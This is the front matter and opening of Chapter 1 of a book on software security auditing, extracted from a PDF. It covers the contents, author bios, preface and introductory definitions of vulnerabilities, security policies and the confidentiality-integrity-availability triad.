Chapter 14. Network Protocols ...................................................................................... 838 8.1.1 Introduction ............................................................................................................ 838 8.1.2 Internet Protocol ..................................................................................................... 840 8.1.3 User Datagram Protocol.......................................................................................... 871 8.1.4 Transmission Control Protocol ................................................................................ 873 8.1.5 Summary ................................................................................................................. 900 8.2 Chapter 15. Firewalls ...................................................................................................... 900 8.2.1 Introduction ............................................................................................................ 900 8.2.2 Overview of Firewalls .............................................................................................. 901 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 4 8.2.3 Stateless Firewalls ................................................................................................... 906 8.2.4 Simple Stateful Firewalls ......................................................................................... 915 8.2.5 Stateful Inspection Firewalls ................................................................................... 919 8.2.6 Spoofing Attacks ..................................................................................................... 924 8.2.7 Summary ................................................................................................................. 931 8.3 Chapter 16. Network Application Protocols ................................................................... 931 8.3.1 Introduction ............................................................................................................ 931 8.3.2 Auditing Application Protocols ............................................................................... 932 8.3.3 Hypertext Transfer Protocol .................................................................................... 946 8.3.4 Internet Security Association and Key Management Protocol ............................... 957 8.3.5 Abstract Syntax Notation (ASN.1) ........................................................................... 980 8.3.6 Domain Name System............................................................................................. 992 8.3.7 Summary ............................................................................................................... 1013 8.4 Chapter 17. Web Applications ...................................................................................... 1013 8.4.1 Introduction .......................................................................................................... 1013 8.4.2 Web Technology Overview ................................................................................... 1014 8.4.3 HTTP ...................................................................................................................... 1020 8.4.4 State and HTTP Authentication ............................................................................. 1034 8.4.5 Architecture .......................................................................................................... 1047 8.4.6 Problem Areas....................................................................................................... 1053 8.4.7 Common Vulnerabilities ....................................................................................... 1067 8.4.8 Harsh Realities of the Web ................................................................................... 1083 8.4.9 Auditing Strategy .................................................................................................. 1086 8.4.10 Summary ............................................................................................................. 1089 8.5 Chapter 18. Web Technologies ..................................................................................... 1089 8.5.1 Introduction .......................................................................................................... 1089 8.5.2 Web Services and Service-Oriented Architecture ................................................. 1090 8.5.3 Web Application Platforms ................................................................................... 1092 8.5.4 CGI......................................................................................................................... 1092 8.5.5 Perl ........................................................................................................................ 1100 8.5.6 PHP........................................................................................................................ 1103 8.5.7 Java ....................................................................................................................... 1112 8.5.8 ASP ........................................................................................................................ 1119 8.5.9 ASP.NET ................................................................................................................. 1124 8.5.10 Summary ............................................................................................................. 1129 9. Bibliography ............................................................................................................................... 1130 10. Index ........................................................................................................................................ 1133 10.1 SYMBOL ......................................................................................................................... 1133 10.2 A ..................................................................................................................................... 1133 10.3 B ..................................................................................................................................... 1142 10.4 C ..................................................................................................................................... 1144 10.5 D ..................................................................................................................................... 1154 10.6 E ..................................................................................................................................... 1158 10.7 F ..................................................................................................................................... 1161 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 5 10.8 G..................................................................................................................................... 1170 10.9 H..................................................................................................................................... 1171 10.10 I .................................................................................................................................... 1174 10.11 J .................................................................................................................................... 1179 10.12 K ................................................................................................................................... 1180 10.13 L ................................................................................................................................... 1180 10.14 M .................................................................................................................................. 1187 10.15 N .................................................................................................................................. 1190 10.16 O .................................................................................................................................. 1194 10.17 P ................................................................................................................................... 1198 10.18 Q .................................................................................................................................. 1206 10.19 R ................................................................................................................................... 1207 10.20 S ................................................................................................................................... 1211 10.21 T ................................................................................................................................... 1223 10.22 U .................................................................................................................................. 1228 10.23 V ................................................................................................................................... 1233 10.24 W ................................................................................................................................. 1236 10.25 X ................................................................................................................................... 1243 10.26 Y ................................................................................................................................... 1244 10.27 Z ................................................................................................................................... 1244 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 6 1. The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities By Mark Dowd, John McDonald, Justin Schuh ............................................... Publisher: Addison Wesley Professional Pub Date: November 10, 2006 Print ISBN-10: 0-321-44442-6 Print ISBN-13: 978-0-321-44442-4 Pages: 1200 Table of Contents(? [????.]) | Index(? [????.]) "There are a number of secure programming books on the market, but none that go as deep as this one. The depth and detail exceeds all books that I know about by an order of magnitude." Halvar Flake, CEO and head of research, SABRE Security GmbH The Definitive Insider's Guide to Auditing Software Security This is one of the most detailed, sophisticated, and useful guides to software security auditing ever written. The authors are leading security consultants and researchers who have personally uncovered vulnerabilities in applications ranging from sendmail to Microsoft Exchange, Check Point VPN to Internet Explorer. Drawing on their extraordinary experience, they introduce a start-to-finish methodology for "ripping apart" applications to reveal even the most subtle and well-hidden security flaws. The Art of Software Security Assessment covers the full spectrum of software vulnerabilities in both UNIX/Linux and Windows environments. It demonstrates how to audit security in applications of all sizes and functions, including network and Web software. Moreover, it teaches using extensive examples of real code drawn from past flaws in many of the industry's highest-profile applications. Coverage includes The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 7 • Code auditing: theory, practice, proven methodologies, and secrets of the trade • Bridging the gap between secure software design and post-implementation review • Performing architectural assessment: design review, threat modeling, and operational review • Identifying vulnerabilities related to memory management, data types, and malformed data • UNIX/Linux assessment: privileges, files, and processes • Windows-specific issues, including objects and the filesystem • Auditing interprocess communication, synchronization, and state • Evaluating network software: IP stacks, firewalls, and common application protocols • Auditing Web applications and technologies This book is an unprecedented resource for everyone who must deliver secure software or assure the safety of existing software: consultants, security specialists, developers, QA staff, testers, and administrators alike. Contents ABOUT THE AUTHORS xv PREFACE xvii ACKNOWLEDGMENTS xxi I Introduction to Software Security Assessment 1 SOFTWARE VULNERABILITY FUNDAMENTALS 3 2 DESIGN REVIEW 25 3 OPERATIONAL REVIEW 67 4 APPLICATION REVIEW PROCESS 91 II Software Vulnerabilities The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 8 5 MEMORY CORRUPTION 167 6 C LANGUAGE ISSUES 203 7 PROGRAM BUILDING BLOCKS 297 8 STRINGS ANDMETACHARACTERS 387 9 UNIX I: PRIVILEGES AND FILES 459 10 UNIX II: PROCESSES 559 11 WINDOWS I: OBJECTS AND THE FILE SYSTEM 625 12 WINDOWS II: INTERPROCESS COMMUNICATION 685 13 SYNCHRONIZATION AND STATE 755 III Software Vulnerabilities in Practice 14 NETWORK PROTOCOLS 829 15 FIREWALLS 891 16 NETWORK APPLICATION PROTOCOLS 921 17 WEB APPLICATIONS 1007 18 WEB TECHNOLOGIES 1083 BIBLIOGRAPHY 1125 INDEX 1129 2. Table of Contents The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities By Mark Dowd, John McDonald, Justin Schuh ............................................... Publisher: Addison Wesley Professional Pub Date: November 10, 2006 Print ISBN-10: 0-321-44442-6 Print ISBN-13: 978-0-321-44442-4 Pages: 1200 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 9 Table of Contents(? [????.]) | Index(? [????.]) Copyright(? [????.]) About the Authors(? [????.]) Preface(? [????.]) Acknowledgments(? [????.]) Part I: Introduction to Software Security Assessment(? [????.]) Chapter 1. Software Vulnerability Fundamentals(? [????.]) Introduction(? [????.]) Vulnerabilities(? [????.]) The Necessity of Auditing(? [????.]) Classifying Vulnerabilities(? [????.]) Common Threads(? [????.]) Summary(? [????.]) Chapter 2. Design Review(? [????.]) Introduction(? [????.]) Software Design Fundamentals(? [????.]) Enforcing Security Policy(? [????.]) Threat Modeling(? [????.]) Summary(? [????.]) Chapter 3. Operational Review(? [????.]) Introduction(? [????.]) Exposure(? [????.]) Web-Specific Considerations(? [????.]) Protective Measures(? [????.]) Summary(? [????.]) Chapter 4. Application Review Process(? [????.]) Introduction(? [????.]) Overview of the Application Review Process(? [????.]) Preassessment(? [????.]) Application Review(? [????.]) Documentation and Analysis(? [????.]) Reporting and Remediation Support(? [????.]) Code Navigation(? [????.]) Code-Auditing Strategies(? [????.]) Code-Auditing Tactics(? [????.]) Code Auditor's Toolbox(? [????.]) Case Study: OpenSSH(? [????.]) Summary(? [????.]) Part II: Software Vulnerabilities(? [????.]) Chapter 5. Memory Corruption(? [????.]) Introduction(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 10 Buffer Overflows(? [????.]) Shellcode(? [????.]) Protection Mechanisms(? [????.]) Assessing Memory Corruption Impact(? [????.]) Summary(? [????.]) Chapter 6. C Language Issues(? [????.]) Introduction(? [????.]) C Language Background(? [????.]) Data Storage Overview(? [????.]) Arithmetic Boundary Conditions(? [????.]) Type Conversions(? [????.]) Type Conversion Vulnerabilities(? [????.]) Operators(? [????.]) Pointer Arithmetic(? [????.]) Other C Nuances(? [????.]) Summary(? [????.]) Chapter 7. Program Building Blocks(? [????.]) Introduction(? [????.]) Auditing Variable Use(? [????.]) Auditing Control Flow(? [????.]) Auditing Functions(? [????.]) Auditing Memory Management(? [????.]) Summary(? [????.]) Chapter 8. Strings and Metacharacters(? [????.]) Introduction(? [????.]) C String Handling(? [????.]) Metacharacters(? [????.]) Common Metacharacter Formats(? [????.]) Metacharacter Filtering(? [????.]) Character Sets and Unicode(? [????.]) Summary(? [????.]) Chapter 9. UNIX I: Privileges and Files(? [????.]) Introduction(? [????.]) UNIX 101(? [????.]) Privilege Model(? [????.]) Privilege Vulnerabilities(? [????.]) File Security(? [????.]) File Internals(? [????.]) Links(? [????.]) Race Conditions(? [????.]) Temporary Files(? [????.]) The Stdio File Interface(? [????.]) Summary(? [????.]) Chapter 10. UNIX II: Processes(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 11 Introduction(? [????.]) Processes(? [????.]) Program Invocation(? [????.]) Process Attributes(? [????.]) Interprocess Communication(? [????.]) Remote Procedure Calls(? [????.]) Summary(? [????.]) Chapter 11. Windows I: Objects and the File System(? [????.]) Introduction(? [????.]) Background(? [????.]) Objects(? [????.]) Sessions(? [????.]) Security Descriptors(? [????.]) Processes and Threads(? [????.]) File Access(? [????.]) The Registry(? [????.]) Summary(? [????.]) Chapter 12. Windows II: Interprocess Communication(? [????.]) Introduction(? [????.]) Windows IPC Security(? [????.]) Window Messaging(? [????.]) Pipes(? [????.]) Mailslots(? [????.]) Remote Procedure Calls(? [????.]) COM(? [????.]) Summary(? [????.]) Chapter 13. Synchronization and State(? [????.]) Introduction(? [????.]) Synchronization Problems(? [????.]) Process Synchronization(? [????.]) Signals(? [????.]) Threads(? [????.]) Summary(? [????.]) Part III: Software Vulnerabilities in Practice(? [????.]) Chapter 14. Network Protocols(? [????.]) Introduction(? [????.]) Internet Protocol(? [????.]) User Datagram Protocol(? [????.]) Transmission Control Protocol(? [????.]) Summary(? [????.]) Chapter 15. Firewalls(? [????.]) Introduction(? [????.]) Overview of Firewalls(? [????.]) Stateless Firewalls(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 12 Simple Stateful Firewalls(? [????.]) Stateful Inspection Firewalls(? [????.]) Spoofing Attacks(? [????.]) Summary(? [????.]) Chapter 16. Network Application Protocols(? [????.]) Introduction(? [????.]) Auditing Application Protocols(? [????.]) Hypertext Transfer Protocol(? [????.]) Internet Security Association and Key Management Protocol(? [????.]) Abstract Syntax Notation (ASN.1)(? [????.]) Domain Name System(? [????.]) Summary(? [????.]) Chapter 17. Web Applications(? [????.]) Introduction(? [????.]) Web Technology Overview(? [????.]) HTTP(? [????.]) State and HTTP Authentication(? [????.]) Architecture(? [????.]) Problem Areas(? [????.]) Common Vulnerabilities(? [????.]) Harsh Realities of the Web(? [????.]) Auditing Strategy(? [????.]) Summary(? [????.]) Chapter 18. Web Technologies(? [????.]) Introduction(? [????.]) Web Services and Service-Oriented Architecture(? [????.]) Web Application Platforms(? [????.]) CGI(? [????.]) Perl(? [????.]) PHP(? [????.]) Java(? [????.]) ASP(? [????.]) ASP.NET(? [????.]) Summary(? [????.]) Bibliography(? [????.]) Index(? [????.]) 3. Copyright Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and the publisher was aware of a trademark claim, the designations have been printed with initial capital letters or in all capitals. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 13 The authors and publisher have taken care in the preparation of this book, but make no expressed or implied warranty of any kind and assume no responsibility for errors or omissions. No liability is assumed for incidental or consequential damages in connection with or arising out of the use of the information or programs contained herein. The publisher offers excellent discounts on this book when ordered in quantity for bulk purchases or special sales, which may include electronic versions and/or custom covers and content particular to your business, training goals, marketing focus, and branding interests. For more information, please contact: U.S. Corporate and Government Sales (800) 382-3419 [email protected] For sales outside the United States please contact: International Sales [email protected] Visit us on the Web: www.awprofessional.com Copyright © 2007 Pearson Education, Inc. All rights reserved. Printed in the United States of America. This publication is protected by copyright, and permission must be obtained from the publisher prior to any prohibited reproduction, storage in a retrieval system, or transmission in any form or by any means, electronic, mechanical, photocopying, recording, or likewise. For information regarding permissions, write to: Pearson Education, Inc. Rights and Contracts Department 75 Arlington Street, Suite 300 Boston, MA 02116 Fax: (617) 848-7047 Text printed in the United States on recycled paper at Edwards Brothers in Ann Arbor, Michigan. First printing, November 2006 Library of Congress Cataloging-in-Publication Data Dowd, Mark. The art of software security assessment : identifying and preventing software vuln erabilities / Mark Dowd, John McDonald, and Justin Schuh. p. cm. ISBN 0-321-44442-6 (pbk. : alk. paper) 1. Computer security. 2. Computer softwa The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 14 reDevelopment. 3. Computer networksSecurity measures. I. McDonald, John, 1977- II. Schuh, Justi n. III. Title. QA76.9.A25D75 2006 005.8dc22 2006023446 4. About the Authors Mark Dowd is a principal security architect at McAfee, Inc. and an established expert in the field of application security. His professional experience includes several years as a senior researcher at Internet Security Systems (ISS) X-Force, and the discovery of a number of high-profile vulnerabilities in ubiquitous Internet software. He is responsible for identifying and helping to address critical flaws in Sendmail, Microsoft Exchange Server, OpenSSH, Internet Explorer, Mozilla (Firefox), Checkpoint VPN, and Microsoft's SSL implementation. In addition to his research work, Mark presents at industry conferences, including Black Hat and RUXCON. John McDonald is a senior consultant with Neohapsis, where he specializes in advanced application security assessment across a broad range of technologies and platforms. He has an established reputation in software security, including work in security architecture and vulnerability research for NAI (now McAfee), Data Protect GmbH, and Citibank. As a vulnerability researcher, John has identified and helped resolve numerous critical vulnerabilities, including issues in Solaris, BSD, Checkpoint FireWall-1, OpenSSL, and BIND. Justin Schuh is a senior consultant with Neohapsis, where he leads the Application Security Practice. As a senior consultant and practice lead, he performs software security assessments across a range of systems, from embedded device firmware to distributed enterprise web applications. Prior to his employment with Neohapsis, Justin spent nearly a decade in computer security activities at the Department of Defense (DoD) and related agencies. His government service includes a role as a lead researcher with the National Security Agency (NSA) penetration testing teamthe Red Team. 4.1 Preface "If popular culture has taught us anything, it is that someday mankind must face and destroy the growing robot menace." Daniel H. Wilson, How to Survive a Robot Uprising The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 15 The past several years have seen huge strides in computer security, particularly in the field of software vulnerabilities. It seems as though every stop at the bookstore introduces a new title on topics such as secure development or exploiting software. Books that cover application security tend to do so from the perspective of software designers and developers and focus on techniques to prevent software vulnerabilities from occurring in applications. These techniques start with solid security design principles and threat modeling and carry all the way through to implementation best practices and defensive programming strategies. Although they serve as strong defensive foundations for application development, these resources tend to give little treatment to the nature of vulnerabilities; instead, they focus on how to avoid them. What's more, every development team can't start rebuilding a secure application from the ground up. Real people have to deal with huge existing codebases, in-place applications, and limited time and budget. Meanwhile, the secure coding mantra seems to be "If it smells bad, throw it out." That's certainly necessary in some cases, but often it's too expensive and time consuming to be reasonable. So you might turn your attention to penetration testing and ethical hacking instead. A wide range of information on this topic is available, and it's certainly useful for the acid test of a software system. However, even the most technically detailed resources have a strong focus on exploit development and little to no treatment on how to find vulnerabilities in the first place. This still leaves the hanging question of how to find issues in an existing application and how to get a reasonable degree of assurance that a piece of software is safe. This problem is exactly the one faced by those in the field of professional software security assessment. People are growing more concerned with building and testing secure systems, but very few resources address the practice of finding vulnerabilities. After all, this process requires a deep technical understanding of some very complex issues and must include a systematic approach to analyzing an application. Without formally addressing how to find vulnerabilities, the software security industry has no way of establishing the quality of a software security assessment or training the next generation in the craft. We have written this book in the hope of answering these questions and to help bridge the gap between secure software development and practical post-implementation reviews. Although this book is aimed primarily at consultants and other security professionals, much of the material will have value to the rest of the IT community as well. Developers can gain insight into the subtleties and nuances of how languages and operating systems work and how those features can introduce vulnerabilities into an application that otherwise appears secure. Quality assurance (QA) personnel can use some of the guidelines in this book to ensure the integrity of in-house software and cut down on the likelihood of their applications being stung by a major vulnerability. Administrators can find helpful guidelines for evaluating the security impact of applications on their networks and use this knowledge to make better decisions about future deployments. Finally, hobbyists who are simply interested in learning more about how to assess applications will find The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 16 this book an invaluable resource (we hope!) for getting started in application security review or advancing their current skill sets. Prerequisites The majority of this book has been targeted at a level that any moderately experienced developer should find approachable. This means you need to be fairly comfortable with at least one programming language, and ideally, you should be familiar with basic C/C++ programming. At several stages throughout the book, we use Intel assembly examples, but we have attempted to keep them to a minimum and translate them into approximate C code when possible. We have also put a lot of effort into making the material as platform neutral as possible, although we do cover platform specifics for the most common operating systems. When necessary, we have tried to include references to additional resources that provide background for material that can't be covered adequately in this book. How to Use This Book Before we discuss the use of this book, we need to introduce its basic structure. The book is divided into three different parts:  Part I(? [????.]): Introduction to Software Security Assessment (Chapters 1(? [????.])4(? [????.])) These chapters introduce the practice of code auditing and explain how it fits into the software development process. You learn about the function of design review, threat modeling, and operational reviewtools that are useful for evaluating an application as a whole, and not just the code. Finally, you learn some generic high-level methods for performing a code review on any application, regardless of its function or size.  Part II(? [????.]): Software Vulnerabilities (Chapters 5(? [????.])13(? [????.])) These chapters shift the focus of the book toward practical implementation review and address how to find specific vulnerabilities in an application's codebase. Major software vulnerability classes are described, and you learn how to discover high-risk security flaws in an application. Numerous real-world examples of security vulnerabilities are given to help you get a feel for what software bugs look like in real code.  Part III(? [????.]): Software Vulnerabilities in Practice (Chapters 14(? [????.])18(? [????.])) The final portion of the book turns your attention toward practical uses of lessons learned from the earlier chapters. These chapters describe a number of common application classes and the types of bugs they tend to be vulnerable to. They also show you how to apply the technical knowledge gained from Part II(? [????.]) to real-world applications. Specifically, you look at networking, firewalling technologies, and Web technologies. Each chapter in this section introduces the common frameworks and designs of each application class and identifies where flaws typically occur. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 17 You'll get the most value if you read this book straight through at least once so that you can get a feel for the material. This approach is best because we have tried to use each section as an opportunity to highlight techniques and tools that help you in performing application assessments. In particular, you should pay attention to the sidebars and notes we use to sum up the more important concepts in a section. Of course, busy schedules and impending deadlines can have a serious impact on your time. To that end, we want to lay out a few tracks of focus for different types of reviews. However, you should start with Part 1(? [????.]) (Chapters 1(? [????.])4(? [????.])) because it establishes a foundation for the rest of the book. After that, you can branch out to the following chapters:  UNIX track (Chapters 5(? [????.])10(? [????.]), 13(? [????.])) This chapter track starts off by covering common software vulnerability classes, such as memory corruption, program control flow, and specially formatted data. Then UNIX-centered security problems that arise because of quirks in the various UNIX operating systems are addressed. Finally, this track ends with coverage of synchronization vulnerabilities common to most platforms.  Windows track (Chapters 5(? [????.])8(? [????.]), 11(? [????.])13(? [????.])) This track starts off similarly to the UNIX track, by covering platform-neutral security problems. Then two chapters specifically address Windows APIs and their related vulnerabilities. Finally, this track finishes with coverage of common synchronization vulnerabilities.  Web track (Chapters 8(? [????.]), 13(? [????.]), 17(? [????.]), 18(? [????.])) Web auditing requires understanding common security vulnerabilities as well as Web-based frameworks and languages. This track discusses the common vulnerability classes that pertain to Web-based languages, and then finishes off with the Web-specific chapters. Although the UNIX and Windows chapters aren't listed here, reading them might be necessary depending on the Web application's deployment environment.  Network application track (Chapters 5(? [????.])8(? [????.]), 13(? [????.]), 16(? [????.])) This sequence of chapters best addresses the types of vulnerabilities you're likely to encounter with network client/server applications. Notice that even though Chapter 16(? [????.]) is targeted at selected application protocols, it has a section for generic application protocol auditing methods. Like the previous track, UNIX or Windows chapters might also be relevant, depending on the deployment environment.  Network analysis track (Chapters 5(? [????.])8(? [????.]), 13(? [????.])16(? [????.])) This track is aimed at analyzing network analysis applications, such as firewalls, IPSs, sniffers, routing software, and so on. Coverage includes standard vulnerability classes along with popular network-based technologies and the common vulnerabilities in these products. Again, the UNIX and Windows chapters would be a good addition to this track, if applicable. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 18 5. Acknowledgments Mark: To my family, friends, and colleagues, for supporting me and providing encouragement throughout this endeavor. John: To my girlfriend Jess, my family and friends, Neohapsis, Vincent Howard, Dave Aitel, David Leblanc, Thomas Lopatic, and Howard Kirk. Justin: To my wife Cat, my coworkers at Neohapsis, my family and friends, and everyone at a three-letter agency who kept me out of trouble. We would collectively like to thank reviewers, friends, and colleagues who have given invaluable feedback, suggestions, and comments that helped shape this book into the finished product you see today. In particular, we would like to acknowledge Neel Mehta, Halvar Flake, John Viega, and Nishad Herath for their tireless efforts in reviewing and helping to give us technical and organizational direction. We'd also like to thank the entire publishing team at Addison-Wesley for working with us to ensure the highest-quality finished product possible. 6. Part I: Introduction to Software Security Assessment Part I: Introduction to Software Security Assessment 6.1 Chapter 1. Software Vulnerability Fundamentals Chapter 1. Software Vulnerability Fundamentals "Any sufficiently advanced technology is indistinguishable from magic." Arthur C. Clarke 6.1.1 Introduction The average person tends to think of software as a form of technological wizardry simply beyond understanding. A piece of software might have complexity that rivals The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 19 any physical hardware, but most people never see its wheels spin, hear the hum of its engine, or take apart the nuts and bolts to see what makes it tick. Yet computer software has become such an integral part of society that it affects almost every aspect of people's daily lives. This wide-reaching effect inevitably raises questions about the security of systems that people have become so dependent on. You can't help but wonder whether the software you use is really secure. How can you verify that it is? What are the implications of a failure in software security? Over the course of this book, you'll learn about the tools you need to understand and assess software security. You'll see how to apply the theory and practice of code auditing; this process includes learning how to dissect an application, discover security vulnerabilities, and assess the danger each vulnerability presents. You also learn how to maximize your time, focusing on the most security-relevant elements of an application and prioritizing your efforts to help identify the most critical vulnerabilities first. This knowledge provides the foundation you need to perform a comprehensive security assessment of an application. This chapter introduces the elements of a software vulnerability and explains what it means to violate the security of a software system. You also learn about the elements of software assessment, including motivation, types of auditing, and how an audit fits in with the development process. Finally, some distinctions are pointed out to help you classify software vulnerabilities and address the common causes of these security issues. 6.1.2 Vulnerabilities There's almost an air of magic when you first see a modern remote software exploit deployed. It's amazing to think that a complex program, written by a team of experts and deployed around the world for more than a decade, can suddenly be co-opted by attackers for their own means. At first glance, it's easy to consider the process as some form of digital voodoo because it simply shouldn't be possible. Like any magic trick, however, this sense of wonder fades when you peek behind the curtain and see how it works. After all, software vulnerabilities are simply weaknesses in a system that attackers can leverage to their advantage. In the context of software security, vulnerabilities are specific flaws or oversights in a piece of software that allow attackers to do something maliciousexpose or alter sensitive information, disrupt or destroy a system, or take control of a computer system or program. You're no doubt familiar with software bugs; they are errors, mistakes, or oversights in programs that result in unexpected and typically undesirable behavior. Almost every computer user has lost an important piece of work because of a software bug. In general, software vulnerabilities can be thought of as a subset of the larger phenomenon of software bugs. Security vulnerabilities are bugs that pack an extra hidden surprise: A malicious user can leverage them to launch attacks against the software and supporting systems. Almost all security vulnerabilities are software The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 20 bugs, but only some software bugs turn out to be security vulnerabilities. A bug must have some security-relevant impact or properties to be considered a security issue; in other words, it has to allow attackers to do something they normally wouldn't be able to do. (This topic is revisited in later chapters, as it's a common mistake to mischaracterize a major security flaw as an innocuous bug.) There's a common saying that security is a subset of reliability. This saying might not pass muster as a universal truth, but it does draw a useful comparison. A reliable program is one that's relatively free of software bugs: It rarely fails on users, and it handles exceptional conditions gracefully. It's written "defensively" so that it can handle uncertain execution environments and malformed inputs. A secure program is similar to a robust program: It can repel a focused attack by intruders who are attempting to manipulate its environment and input so that they can leverage it to achieve some nefarious end. Software security and reliability also share similar goals, in that they both necessitate development strategies that focus on exterminating software bugs. Note Although the comparison of security flaws to software bugs is useful, some vulnerabilities don't map so cleanly. For example, a program that allows you to edit a critical system file you shouldn't have access to might be operating completely correctly according to its specifications and design. So it probably wouldn't fall under most people's definition of a software bug, but it's definitely a security vulnerability. The process of attacking a vulnerability in a program is called exploiting. Attackers might exploit a vulnerability by running the program in a clever way, altering or monitoring the program's environment while it runs, or if the program is inherently insecure, simply using the program for its intended purpose. When attackers use an external program or script to perform an attack, this attacking program is often called an exploit or exploit script. Security Policies As mentioned, attackers can exploit a vulnerability to violate the security of a system. One useful way to conceptualize the "security of a system" is to think of a system's security as being defined by a security policy. From this perspective, a violation of a software system's security occurs when the system's security policy is violated. Note Matt Bishop, a computer science professor at University of CaliforniaDavis, is an accomplished security researcher who has been researching and studying computer The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 21 vulnerabilities for many years. Needless to say, he's put a lot of thought into computer security from a formal academic perspective as well as a technical perspective. If these topics interest you, check out his book, Computer Security: Art and Science (Addison-Wesley, 2003(? [????.])), and the resources at his home page: http://nob.cs.ucdavis.edu/~bishop/. For a system composed of software, users, and resources, you have a security policy, which is simply a list of what's allowed and what's forbidden. This policy might state, for example, "Unauthenticated users are forbidden from using the calendar service on the staging machine." A problem that allows unauthenticated users to access the staging machine's calendar service would clearly violate the security policy. Every software system can be considered to have a security policy. It might be a formal policy consisting of written documents, or it might be an informal loose collection of expectations that the software's users have about what constitutes reasonable behavior for that system. For most software systems, people usually understand what behavior constitutes a violation of security, even if it hasn't been stated explicitly. Therefore, the term "security policy" often means the user community's consensus on what system behavior is allowed and what system behavior is forbidden. This policy could take a few different forms, as described in the following list:  For a particularly sensitive and tightly scoped system, a security policy could be a formal specification of constraints that can be verified against the program code by mathematical proof. This approach is often expensive and applicable only to an extremely controlled software environment. You would hope that embedded systems in devices such as traffic lights, elevators, airplanes, and life support equipment go through this kind of verification. Unfortunately, this approach is prohibitively expensive or unwieldy, even for many of those applications.  A security policy could be a formal, written document with clauses such as "C.2. Credit card information (A.1.13) should never be disclosed to a third party (as defined in A.1.3) or transferred across any transmission media without sufficient encryption, as specified in Addendum Q." This clause could come from a policy written about the software, perhaps one created during the development process. It could also come from policies related to resources the software uses, such as a site security policy, an operating system (OS) policy, or a database security policy.  The security policy could be composed solely of an informal, slightly ambiguous collection of people's expectations of reasonable program security behavior, such as "Yeah, giving a criminal organization access to our credit card database is probably bad." The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 22 Note The Java Virtual Machine (JVM) and .NET Common Language Runtime (CLR) have varying degrees of code access security (CAS). CAS provides a means of extensively validating a package at both load time and runtime. These validations include the integrity of the bytecode, the software's originator, and the application of code access restrictions. The most obvious applications of these technologies include the sandbox environments for Java applets and .NET-managed browser controls. Although CAS can be used as a platform for a rigidly formalized security model, some important caveats are associated with it. The first concern is that most developers don't thoroughly understand its application and function, so it's rarely leveraged in commercial software. The second concern is that the security provided by CAS depends entirely on the security of underlying components. Both the Java VM and the .NET CLR have been victims of vulnerabilities that could allow an application to escape the virtual machine sandbox and run arbitrary code. In practice, a software system's security policy is likely to be mostly informal and made up of people's expectations. However, it often borrows from formal documentation from the development process and references site and resource security policies. This definition of a system security policy helps clarify the concept of "system security." The bottom line is that security is in the eye of the beholder, and it boils down to end users' requirements and expectations. Security Expectations Considering the possible expectations people have about software security helps determine which issues they consider to be security violations. Security is often described as resting on three components: confidentiality, integrity, and availability. The following sections consider possible expectations for software security from the perspective of these cornerstones. Confidentiality Confidentiality requires that information be kept private. This includes any situation where software is expected to hide information or hide the existence of information. Software systems often deal with data that contains secrets, ranging from nation- or state-level intelligence secrets to company trade secrets or even sensitive personal information. Businesses and other organizations have plenty of secrets residing in their software. Financial information is generally expected to be kept confidential. Information about plans and performance could have strategic importance and is potentially useful for The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 23 an unlawful competitive advantage or for criminal activities, such as insider trading. So businesses expect that data to be kept confidential as well. Data involving business relationships, contracts, lawsuits, or any other sensitive content carries an expectation of confidentiality. If a software system maintains information about people, expectations about the confidentiality of that data are often high. Because of privacy concerns, organizations and users expect a software system to carefully control who can view details related to people. If the information contains financial details or medical records, improper disclosure of the data might involve liability issues. Software is often expected to keep personal user information secret, such as personal files, e-mail, activity histories, and accounts and passwords. In many types of software, the actual program code constitutes a secret. It could be a trade secret, such as code for evaluating a potential transaction in a commodities market or a new 3D graphics engine. Even if it's not a trade secret, it could still be sensitive, such as code for evaluating credit risks of potential loan applicants or the algorithm behind an online videogame's combat system. Software is often expected to compartmentalize information and ensure that only authenticated parties are allowed to see information for which they're authorized. These requirements mean that software is often expected to use access control technology to authenticate users and to check their authorization when accessing data. Encryption is also used to maintain the confidentiality of data when it's transferred or stored. Integrity Integrity is the trustworthiness and correctness of data. It refers to expectations that people have about software's capability to prevent data from being altered. Integrity refers not only to the contents of a piece of data, but also to the source of that data. Software can maintain integrity by preventing unauthorized changes to data sources. Other software might detect changes to data integrity by making note of a change in a piece of data or an alteration of the data's origins. Software integrity often involves compartmentalization of information, in which the software uses access control technology to authenticate users and check their authorization before they're allowed to modify data. Authentication is also an important component of software that's expected to preserve the integrity of the data's source because it tells the software definitively who the user is. Typically, users hold similar expectations for integrity as they do for confidentiality. Any issue that allows attackers to modify information they wouldn't otherwise be permitted to modify is considered a security flaw. Any issue that allows users to The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 24 masquerade as other users and manipulate data is also considered a breach of data integrity. Software vulnerabilities can be particularly devastating in breaches of integrity, as the modification of data can often be leveraged to further an attackers' access into a software system and the computing resources that host the software. Availability Availability is the capability to use information and resources. Generally, it refers to expectations users have about a system's availability and its resilience to denial-of-service (DoS) attacks. An issue that allows users to easily crash or disrupt a piece of software would likely be considered a vulnerability that violates users' expectations of availability. This issue generally includes attacks that use specific inputs or environmental disruptions to disable a program as well as attacks centered on exhausting software system resources, such as CPU, disk, or network bandwidth. 6.1.3 The Necessity of Auditing Most people expect vendors to provide some degree of assurance about the integrity of their software. 